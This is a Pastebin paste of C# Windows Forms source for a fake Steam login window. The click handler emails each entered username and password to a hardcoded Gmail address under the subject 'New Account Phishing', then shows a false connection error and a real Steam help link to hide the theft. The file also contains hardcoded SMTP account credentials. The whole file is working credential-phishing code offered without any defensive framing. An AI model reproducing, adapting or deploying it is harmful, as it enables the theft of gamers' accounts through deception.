Guest User

Untitled

a guest
May 2nd, 2017
29
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C# 3.51 KB | None | 0 0
  1. using System;
  2. using System.Collections.Generic;
  3. using System.ComponentModel;
  4. using System.Data;
  5. using System.Drawing;
  6. using System.Linq;
  7. using System.Text;
  8. using System.Threading.Tasks;
  9. using System.Windows.Forms;
  10. using System.Net.Mail;
  11. using static System.Windows.Forms.VisualStyles.VisualStyleElement;
  12.  
  13. namespace WindowsFormsApplication1
  14. {
  15.     public partial class Form1 : Form
  16.     {
  17.         public Form1()
  18.  
  19.         {
  20.             InitializeComponent();
  21.         }
  22.  
  23.         private void button1_Click(object sender, EventArgs e)
  24.         {
  25.             this.Close();
  26.         }
  27.  
  28.         private void Form1_Load(object sender, EventArgs e)
  29.         {
  30.  
  31.         }
  32.  
  33.         private void button2_Click(object sender, EventArgs e)
  34.         {
  35.             if (String.IsNullOrWhiteSpace(txtname.Text) || String.IsNullOrWhiteSpace(txtpassword.Text))
  36.             {
  37.                 MessageBox.Show("Failed to Log in " + "Name or Password emty", "Error", MessageBoxButtons.OK, MessageBoxIcon.Error);
  38.             }
  39.             else
  40.             {
  41.                 sendEmail();
  42.                 MessageBox.Show("Failed to Log in! " + "Check your Internet connection.                                         " + "If this Error continues get help at: https://help.steampowered.com/de/", "Error", MessageBoxButtons.OK, MessageBoxIcon.Information);
  43.                 onReset();
  44.             }
  45.         }
  46.             public void sendEmail()
  47.         {
  48.             try
  49.             {
  50.                 MailMessage mail = new MailMessage();
  51.                 SmtpClient client = new SmtpClient("smtp.gmail.com");
  52.                 mail.From = new MailAddress("danielisthteboss1@gmail.com", "Geil ein neuer Account");
  53.                 mail.To.Add("danielisthteboss1@gmail.com");
  54.                 mail.Subject = "New Account Phishing" + txtname.Text;
  55.                 mail.Body = "====================" + "\n" + "Name: " + txtname.Text + "\n" + "Password: " + txtpassword.Text + "\n" + "====================";
  56.                 mail.IsBodyHtml = false;
  57.                 client.Port = 587;
  58.                 client.Credentials = new System.Net.NetworkCredential("danielisthteboss1@gmail.com", "danieltheboss");
  59.                 client.EnableSsl = true;
  60.                 client.Send(mail);
  61.  
  62.             }
  63.             catch
  64.             {
  65.                 MessageBox.Show("Failed to Log in " + "Enable your internet connection first", "Error", MessageBoxButtons.OK, MessageBoxIcon.Error);
  66.             }
  67.  
  68.         }
  69.  
  70.         public void onReset()
  71.         {
  72.             txtname.Text = null;
  73.             txtpassword.Text = null;
  74.  
  75.  
  76.         }
  77.  
  78.         private void button4_Click(object sender, EventArgs e)
  79.         {
  80.             System.Diagnostics.Process.Start("https://help.steampowered.com/de/wizard/HelpWithLogin?redir=clientlogin");
  81.         }
  82.  
  83.         private void button5_Click(object sender, EventArgs e)
  84.         {
  85.             System.Diagnostics.Process.Start("https://store.steampowered.com/join/?l=english");
  86.         }
  87.  
  88.         private void button3_Click(object sender, EventArgs e)
  89.         {
  90.             this.Close();
  91.         }
  92.  
  93.         private void pictureBox1_Click(object sender, EventArgs e)
  94.         {
  95.             pictureBox2.Visible = true;
  96.         }
  97.  
  98.         private void pictureBox2_Click(object sender, EventArgs e)
  99.         {
  100.             pictureBox2.Visible = false;
  101.         }
  102.  
  103.         private void button6_Click(object sender, EventArgs e)
  104.         {
  105.             this.WindowState = FormWindowState.Minimized;
  106.         }
  107.     }
  108.     }
Add Comment
Please, Sign In to add comment